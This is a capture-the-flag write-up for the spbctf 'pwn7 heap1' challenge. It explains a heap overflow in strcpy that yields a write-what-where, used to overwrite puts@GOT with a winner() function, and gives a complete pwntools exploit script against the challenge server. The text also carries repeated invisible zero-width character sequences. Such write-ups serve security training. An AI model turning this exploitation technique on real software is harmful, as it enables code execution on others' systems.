← Back to Writeups
CUSTOMMediumpwn

pwn7 heap1

XESXOR9/2/20264 min read
#pwn#custom#medium#arbitrary_write#got_overwrite#heap_pointer_overflow#pie_base_leak

pwn7 heap1

Platform: pwn_spbctf | Category: pwn | Type: Challenge | Difficulty: Medium | OS: NA | Author: XESXOR | Date: 2026-06-18 | Status: Solved Techniques: arbitrary_write, got_overwrite, heap_pointer_overflow, pie_base_leak

Summary

Task: amd64 PIE/Partial-RELRO heap pwn; printf leaks heap pointers and PIE base, and an 8-byte strcpy buffer overflows into the destination pointer of a second strcpy. Solution: overflow buf_a to point the second strcpy at puts@GOT, write winner()'s address there, and let the trailing puts() jump to system("cat flag.txt").

pwn7 heap1 — pwn_spbctf

Description

Remote: nc 109.233.56.90 11751

A non-stripped amd64 binary with PIE, Partial RELRO, Stack Canary, and NX. It allocates two objects, leaks several pointers via printf, reads two strings, and copies them with strcpy. The goal is to reach winner(), which runs system("cat flag.txt").

Analysis

Binary properties

  • amd64, PIE, Partial RELRO (GOT writable), Canary, NX. Not stripped.
  • system is imported. A winner() function at PIE offset +0x11b9 calls system("cat flag.txt") — no libc leak required. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

main() flow

  1. obj1 = malloc(0x10); obj1[0] = 1; buf_a = malloc(8); obj1[8] = buf_a
  2. obj2 = malloc(0x10); obj2[0] = 2; buf_b = malloc(8); obj2[8] = buf_b
  3. printf("i1:%p i2:%p main:%p\n", obj1, obj2, &main) — leaks two heap pointers and &main (PIE offset +0x11ee), giving the PIE base.
  4. fgets(S1, 0x400, ...) then fgets(S2, 0x400, ...) — up to 0x400 bytes each.
  5. strcpy(obj1[8] /* buf_a */, S1) — heap overflow: the destination is an 8-byte chunk but up to 0x400 bytes are copied.
  6. strcpy(obj2[8], S2) — the destination pointer obj2[8] was corrupted by step 5, so this becomes an arbitrary write-what-where.
  7. puts("and that's a wrap folks!") — called after both copies. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Heap layout

All allocations (0x10 and 0x8 requests) round up to 0x20 chunks:

obj1 @ X        buf_a @ X+0x20        obj2 @ X+0x40        buf_b @ X+0x60

The leak confirms obj2 - obj1 = 0x40. The destination pointer field we want to corrupt is obj2[8] = obj2 + 8 = X + 0x48. From buf_a @ X+0x20:

distance = 0x48 - 0x20 = 0x28

So 0x28 filler bytes from buf_a land exactly on obj2[8].

Solution

The write-what-where primitive lets us overwrite an entry in the writable GOT (Partial RELRO). We target puts@GOT (PIE offset 0x4020), because puts() is called right after both strcpys. Replacing it with winner() redirects that call to system("cat flag.txt"). ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

  1. S1 — overflow buf_a so that obj2[8] (the destination of the second strcpy) points to puts@GOT: S1 = b'A'*0x28 + p64(puts@GOT).
  2. S2 — the bytes the second strcpy writes into puts@GOT: S2 = p64(winner).
  3. The trailing puts(...) dereferences the overwritten GOT entry and jumps to winner() → system("cat flag.txt") → flag.

Key gotcha — keep the trailing NUL bytes

Do not rstrip(b'\x00') the address payloads. sendline appends \n (0x0a). A 6-byte heap/code pointer's p64() encoding ends in two NUL bytes; strcpy stops at the first NUL, so the high pointer bytes stay zero and the appended newline is never copied into the qword. If the trailing NULs were stripped, strcpy would copy the \n into byte 6 of the pointer (0x000a5555....) → SIGSEGV on the second strcpy. Letting the natural NULs terminate the copy is what makes the write land cleanly. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

Exploit script

python
#!/usr/bin/env python3
# heap1 (pwn7) - spbctf
# Heap overflow of buf_a (8-byte chunk) reaches obj2's `buf` pointer (obj2+8),
# the destination of the SECOND strcpy. -> arbitrary write-what-where.
# winner() @ +0x11b9 runs system("cat flag.txt").
# Overwrite puts@GOT with winner(); the final puts(...) call -> winner() -> flag.
from pwn import *

context.arch = 'amd64'
context.log_level = 'info'

HOST, PORT = '109.233.56.90', 11751
EXE = './heap1.elf'
e = ELF(EXE, checksec=False)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

MAIN_OFF   = 0x11ee
WINNER_OFF = 0x11b9
PUTS_GOT   = 0x4020   # offset of puts@GOT in the PIE image

# Heap layout (all 0x20 chunks):
#   obj1@X   buf_a@X+0x20   obj2@X+0x40   buf_b@X+0x60
#   buf_a -> obj2+8 distance = 0x40 - 0x20 + 8 = 0x28
DIST_BUFA_TO_OBJ2PTR = 0x28


def run():
    io = remote(HOST, PORT)
    # leak line: "i1:%p i2:%p main:%p\n"
    line = io.recvline()
    log.info('leak: %r', line)
    m = re.findall(rb'0x[0-9a-f]+', line)
    i1   = int(m[0], 16)
    i2   = int(m[1], 16)
    main = int(m[2], 16)
    base = main - MAIN_OFF
    puts_got = base + PUTS_GOT
    winner   = base + WINNER_OFF
    log.success('i1=%#x i2=%#x main=%#x base=%#x', i1, i2, main, base)
    log.success('puts@GOT=%#x  winner=%#x', puts_got, winner)
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍

    # S1: overflow buf_a -> set obj2[8] (second strcpy dest) = puts@GOT.
    # Keep the address's natural trailing NUL bytes: strcpy stops at the first NUL,
    # so the appended newline never corrupts the high bytes of the pointer.
    s1 = b'A' * DIST_BUFA_TO_OBJ2PTR + p64(puts_got)
    # S2: bytes written by the 2nd strcpy into puts@GOT = winner() address.
    s2 = p64(winner)

    io.recvuntil(b'Enter S1')
    io.sendline(s1)
    io.recvuntil(b'Enter S2')
    io.sendline(s2)

    # final puts(...) now jumps to winner() -> system("cat flag.txt")
    data = io.recvall(timeout=8)
    log.info('out: %r', data)
    m = re.search(rb'(?i)spbctf\{[^}]*\}', data)
    if not m:
        m = re.search(rb'[A-Za-z0-9_]+\{[^}]*\}', data)
    if m:
        log.success('FLAG: %s', m.group().decode())
    else:
        log.warning('no flag matched; raw above')
    io.close()
‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍


if __name__ == '__main__':
    run()

Validation

Tested locally in a ubuntu:22.04 amd64 docker container with process('./heap1.elf') (no ptrace/gdb required; qemu ptrace was flaky). Local run printed spbctf{local_test}. Remote run yielded the real flag.

Sample remote leak: i1:0x582ab76ad2a0 i2:0x582ab76ad2e0 main:0x582a7c3ce1ee → base 0x582a7c3cd000. ‍​‌‌​​‌​​​‌‌​​‌​​​​‌‌​‌​​​​‌‌‌​​‌​​‌‌​​​‌​​‌‌‌​​​​​‌‌​‌‌​​​‌‌​​​​‍